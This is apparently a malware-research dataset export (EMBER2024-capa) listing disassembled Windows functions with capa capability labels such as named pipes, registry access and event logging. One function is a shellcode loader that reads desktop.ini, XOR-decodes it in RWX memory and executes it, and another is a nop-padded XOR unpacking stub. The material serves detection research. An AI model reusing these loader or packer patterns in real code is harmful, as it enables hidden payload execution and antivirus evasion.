joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001040
Capabilities:
Connect pipe
Create pipe
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.MSVCR120.dll__beginthreadex]
lea eax, [ebp - 8]
push esi
push edi
push eax
push 0
push 0
push 0x10001430
push 0
push 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x18
cmp byte [0x10005365], 0
jne 0x1000111a
push 0
push 0
push 0x5dc
push 0x5dc
push 0xff
push 6
push 0x40000003
push str..pipemyAppsHookControllerPipe
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100011f8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x100010e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0x217
sete cl
test ecx, ecx
je 0x1000110a
cmp byte [0x10005365], 0
jne 0x1000110a
lea eax, [ebp - 0xc]
push eax
push 0
push esi
push 0x10001260
push 0
push 0
call ebx
add esp, 0x18
test eax, eax
je 0x1000119a
push eax
jmp 0x1000110b
push esi
call edi
cmp byte [0x10005365], 0
je 0x10001090
push 0x400
call dword [sym.imp.MSVCR120.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x10001158
push str.myAppsHookController_application_closed_
push 0x3ff
push 0x400
push esi
call dword [sym.imp.MSVCR120.dll__snprintf_s]
mov ecx, esi
lea edx, [eax + 1]
call fcn.10001680
push esi
call dword [sym.imp.MSVCR120.dll_free]
add esp, 0x14
mov eax, dword [0x10005014]
cmp eax, 0xffffffff
je 0x10001187
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [0x10005014]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [0x10005014]
call edi
mov dword [0x10005014], 0xffffffff
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002d4c
mov esp, ebp
pop ebp
ret
push 0x400
call dword [sym.imp.MSVCR120.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x100011df
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.myAppsHookController_CreateThread_failed__GLE_d
push 0x3ff
push 0x400
push ebx
call dword [sym.imp.MSVCR120.dll__snprintf_s]
mov ecx, ebx
lea edx, [eax + 1]
call fcn.10001680
push ebx
call dword [sym.imp.MSVCR120.dll_free]
add esp, 0x18
push esi
call edi
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002d4c
mov esp, ebp
pop ebp
ret
push 0x400
call dword [sym.imp.MSVCR120.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x1000123d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.myAppsHookController_CreateNamedPipe_failed__GLE_d
push 0x3ff
push 0x400
push esi
call dword [sym.imp.MSVCR120.dll__snprintf_s]
mov ecx, esi
lea edx, [eax + 1]
call fcn.10001680
push esi
call dword [sym.imp.MSVCR120.dll_free]
add esp, 0x18
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002d4c
mov esp, ebp
pop ebp
ret
Function at 0x10001680
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10005014], 0xffffffff
push edi
mov edi, edx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
je 0x10001707
push esi
push edi
call dword [sym.imp.MSVCR120.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x100016f5
push edi
push dword [ebp - 0xc]
push esi
call sub.MSVCR120.dll_memcpy
add esp, 0xc
lea eax, [ebp - 8]
push 0
push eax
push edi
push esi
push dword [0x10005014]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.MSVCR120.dll_free]
mov eax, dword [ebp - 8]
add esp, 4
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002d4c
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002d4c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop edi
call fcn.10002d4c
mov esp, ebp
pop ebp
ret
Function at 0x311fc5
Capabilities:
Encode data using xor

Disassembly:
jmp 0x322180
mov edx, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x3221ab
mov al, byte [edx + ecx]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [esp + 8]
jb 0x32218c
ret

Function at 0x3162f5
Capabilities:
Parse pe header

Disassembly:
jmp 0x350549
push 0
call dword [0x419070]
test eax, eax
je 0x350588
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x350588
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x350588
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x350588
cmp dword [ecx + 0x74], 0xe
jbe 0x350588
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x3ddc2a44
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x1ae87391
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x403298
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextLengthA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jns 0x4032c8
mov eax, dword [ebp + 0xc]
mov ecx, eax
call fcn.00430eb0
mov eax, 0
jmp 0x40332f
cmp dword [ebp - 0xc], 0
jne 0x4032da
mov eax, dword [ebp + 0xc]
mov ecx, eax
call fcn.00430eb0
jmp 0x40332a
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextA]
call eax
sub esp, 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov dword [esp], edx
mov ecx, eax
call fcn.004314c0
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00424368
mov eax, 1
leave
ret

Function at 0x40337e
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextLengthW]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jns 0x4033ae
mov eax, dword [ebp + 0xc]
mov ecx, eax
call fcn.00434380
mov eax, 0
jmp 0x403417
cmp dword [ebp - 0xc], 0
jne 0x4033c0
mov eax, dword [ebp + 0xc]
mov ecx, eax
call fcn.00434380
jmp 0x403412
mov eax, dword [ebp - 0xc]
add eax, 1
add eax, eax
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextW]
call eax
sub esp, 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov dword [esp], edx
mov ecx, eax
call fcn.004349b0
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00424368
mov eax, 1
leave
ret
Function at 0x403f26
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
lea eax, [ebp - 0x24]
mov ecx, eax
call fcn.00432ae0
mov dword [ebp - 0x28], 0x1000
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], str.soffid.hostname.format
call fcn.004047a0
test al, al
je 0x403f73
mov dword [esp + 4], 0x43b348
lea eax, [ebp - 0x24]
mov dword [esp], eax
call fcn.004372f0
test al, al
je 0x403f73
mov eax, 1
jmp 0x403f78
mov eax, 0
test al, al
je 0x403f96
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], 0x454460
mov eax, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call eax
sub esp, 8
jmp 0x40400d
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], 0x454460
mov eax, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call eax
sub esp, 8
mov dword [ebp - 0x28], 0x1000
lea eax, [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x454460
mov dword [esp], 3
mov eax, dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
call eax
sub esp, 0xc
test eax, eax
jne 0x403fe5
mov eax, 0x454460
movzx eax, byte [eax]
test al, al
jne 0x403fec
mov eax, 1
jmp 0x403ff1
mov eax, 0
test al, al
je 0x40400d
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], 0x454460
mov eax, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
add eax, 0x454460
movzx eax, byte [eax]
test al, al
je 0x40404d
mov eax, dword [ebp - 0xc]
add eax, 0x454460
movzx eax, byte [eax]
movsx eax, al
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_tolower]
call eax
mov edx, eax
mov eax, dword [ebp - 0xc]
add eax, 0x454460
mov byte [eax], dl
add dword [ebp - 0xc], 1
jmp 0x404014
mov ebx, 0x454460
lea eax, [ebp - 0x24]
mov ecx, eax
call fcn.00433270
mov eax, ebx
jmp 0x404076
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x4047a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 0xc]
mov ecx, eax
call fcn.00430eb0
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20119
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWARESoffidesso
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
test eax, eax
je 0x404818
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWARESoffidesso
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
test eax, eax
jne 0x40481f
mov eax, 1
jmp 0x404824
mov eax, 0
test al, al
je 0x404915
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x1c]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xea
je 0x404881
cmp dword [ebp - 0xc], 0
jne 0x4048d4
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x1c]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
cmp dword [ebp - 0xc], 0
jne 0x404915
cmp dword [ebp - 0x10], 0
je 0x404915
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov dword [esp], edx
mov ecx, eax
call fcn.004314c0
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00424368
mov eax, 1
jmp 0x40491a
mov eax, 0
leave
ret
Function at 0x40491c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
test al, al
je 0x4049df
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x2011f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x43b404
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWARESoffidesso
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
test eax, eax
je 0x4049d8
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x2001f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x43b404
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWARESoffidesso
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
test eax, eax
jne 0x4049df
mov eax, 1
jmp 0x4049e4
mov eax, 0
test al, al
je 0x404a44
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
nop
leave
ret

Function at 0x404a48
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20119
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWARESoffidesso
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
test eax, eax
je 0x404ab6
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWARESoffidesso
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
test eax, eax
jne 0x404abd
mov eax, 1
jmp 0x404ac2
mov eax, 0
test al, al
je 0x404b26
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], 4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x1c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x18]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x14]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
cmp dword [ebp - 0xc], 0
jne 0x404b26
mov eax, dword [ebp - 0x18]
jmp 0x404b2b
mov eax, 0xffffffff
leave
ret
Function at 0x404e56
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x106c
call fcn.00411940
sub esp, eax
mov eax, dword [0x455460]
test eax, eax
jle 0x404ffe
lea eax, [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xfff
lea eax, [ebp - 0x102c]
mov dword [esp], eax
call fcn.0040417a
lea eax, [ebp - 0x102c]
mov dword [ebp - 0x24], eax
call fcn.00404e22
mov dword [esp + 0x20], 0
lea edx, [ebp - 0x24]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0xfff0064
mov dword [esp + 8], 1
mov dword [esp + 4], 8
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_ReportEventA]
call eax
sub esp, 0x24
lea eax, [ebp - 0x28]
mov dword [esp], eax
call fcn.0040407c
lea eax, [ebp - 0x28]
mov dword [esp], eax
call fcn.00404091
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x103c], eax
mov eax, dword [ebp - 0x1c]
mov edi, dword [eax + 4]
mov eax, dword [ebp - 0x1c]
mov esi, dword [eax + 8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x14]
lea ebx, [eax + 0x76c]
mov dword [ebp - 0x1040], ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x1044], edx
mov eax, dword [ebp - 0x1c]
mov ebx, dword [eax + 0xc]
mov dword [esp], 2
mov eax, dword [fcn.004249e0]
call eax
mov ecx, dword [ebp - 0x103c]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], esi
mov ecx, dword [ebp - 0x1040]
mov dword [esp + 0x10], ecx
mov edx, dword [ebp - 0x1044]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov dword [esp + 4], str._d__02d__04d__02d:_02d:_02d_INFO
mov dword [esp], eax
call fcn.004040d3
lea eax, [ebp + 0xc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040414e
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea edx, [eax - 1]
mov eax, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xa
je 0x404fe8
mov dword [esp], 2
mov eax, dword [fcn.004249e0]
call eax
mov dword [esp + 4], 0x43b4f2
mov dword [esp], eax
call fcn.004040d3
mov dword [esp], 2
mov eax, dword [fcn.004249e0]
call eax
mov dword [esp], eax
call sub.msvcrt.dll_fflush
nop
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x405008
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x106c
call fcn.00411940
sub esp, eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0x1020], eax
mov eax, dword [ebp - 0x1020]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xfff
lea eax, [ebp - 0x101c]
mov dword [esp], eax
call fcn.0040417a
lea eax, [ebp - 0x101c]
mov dword [ebp - 0x1024], eax
call fcn.00404e22
mov dword [esp + 0x20], 0
lea edx, [ebp - 0x1024]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x8fff0065
mov dword [esp + 8], 1
mov dword [esp + 4], 2
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_ReportEventA]
call eax
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0x1028], eax
lea eax, [ebp - 0x102c]
mov dword [esp], eax
call fcn.0040407c
lea eax, [ebp - 0x102c]
mov dword [esp], eax
call fcn.00404091
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x103c], eax
mov eax, dword [ebp - 0x1c]
mov edi, dword [eax + 4]
mov eax, dword [ebp - 0x1c]
mov esi, dword [eax + 8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x14]
lea ebx, [eax + 0x76c]
mov dword [ebp - 0x1040], ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x1044], edx
mov eax, dword [ebp - 0x1c]
mov ebx, dword [eax + 0xc]
mov dword [esp], 2
mov eax, dword [fcn.004249e0]
call eax
mov ecx, dword [ebp - 0x103c]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], esi
mov ecx, dword [ebp - 0x1040]
mov dword [esp + 0x10], ecx
mov edx, dword [ebp - 0x1044]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov dword [esp + 4], str._d__02d__04d__02d:_02d:_02d_WARN
mov dword [esp], eax
call fcn.004040d3
mov ebx, dword [ebp - 0x1028]
mov dword [esp], 2
mov eax, dword [fcn.004249e0]
call eax
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040412d
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea edx, [eax - 1]
mov eax, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xa
je 0x4051b7
mov dword [esp], 2
mov eax, dword [fcn.004249e0]
call eax
mov dword [esp + 4], 0x43b4f2
mov dword [esp], eax
call fcn.004040d3
mov dword [esp], 2
mov eax, dword [fcn.004249e0]
call eax
mov dword [esp], eax
call sub.msvcrt.dll_fflush
nop
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4051d6
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1048
call fcn.00411940
sub esp, eax
mov eax, dword [0x455460]
cmp eax, 1
jle 0x405277
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xfff
lea eax, [ebp - 0x1010]
mov dword [esp], eax
call fcn.0040417a
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x10], eax
call fcn.00404e22
mov dword [esp + 0x20], 0
lea edx, [ebp - 0x10]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x4fff0066
mov dword [esp + 8], 1
mov dword [esp + 4], 4
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_ReportEventA]
call eax
sub esp, 0x24
nop
leave
ret
Function at 0x40699f
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [sym.imp.KERNEL32.dll_GetVersion]
call eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, al
mov word [ebp - 0xe], ax
mov eax, dword [ebp - 0xc]
shr ax, 8
movzx eax, al
mov word [ebp - 0x10], ax
cmp word [ebp - 0xe], 4
jbe 0x4069dc
cmp word [ebp - 0xe], 5
jne 0x4069e3
cmp word [ebp - 0x10], 0
jne 0x4069e3
mov eax, 1
jmp 0x4069e8
mov eax, 0
leave
ret
Function at 0x4074b6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp + 0x10]
mov byte [ebp - 0x30], al
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jge 0x40751d
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
cmp dword [ebp - 0xc], eax
jge 0x40751d
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
cbw
mov word [ebp - 0x16], ax
cmp word [ebp - 0x16], 0x7c
jne 0x40750a
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 1
jmp 0x4074d3
cmp word [ebp - 0x16], 0
jne 0x407517
add dword [ebp - 0x10], 1
jmp 0x4074d3
add dword [ebp - 0xc], 1
jmp 0x4074d3
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
cmp edx, eax
jge 0x407572
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x407572
movzx eax, byte [ebp - 0x30]
xor eax, 1
test al, al
je 0x40756c
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
cmp al, 0x7c
je 0x407572
add dword [ebp - 0x14], 1
jmp 0x407532
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp], edx
mov ecx, eax
call fcn.00431500
sub esp, 8
cmp dword [ebp - 0x14], 0
setg al
leave
ret 0xc

Function at 0x410cd0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004249e0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004249e0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]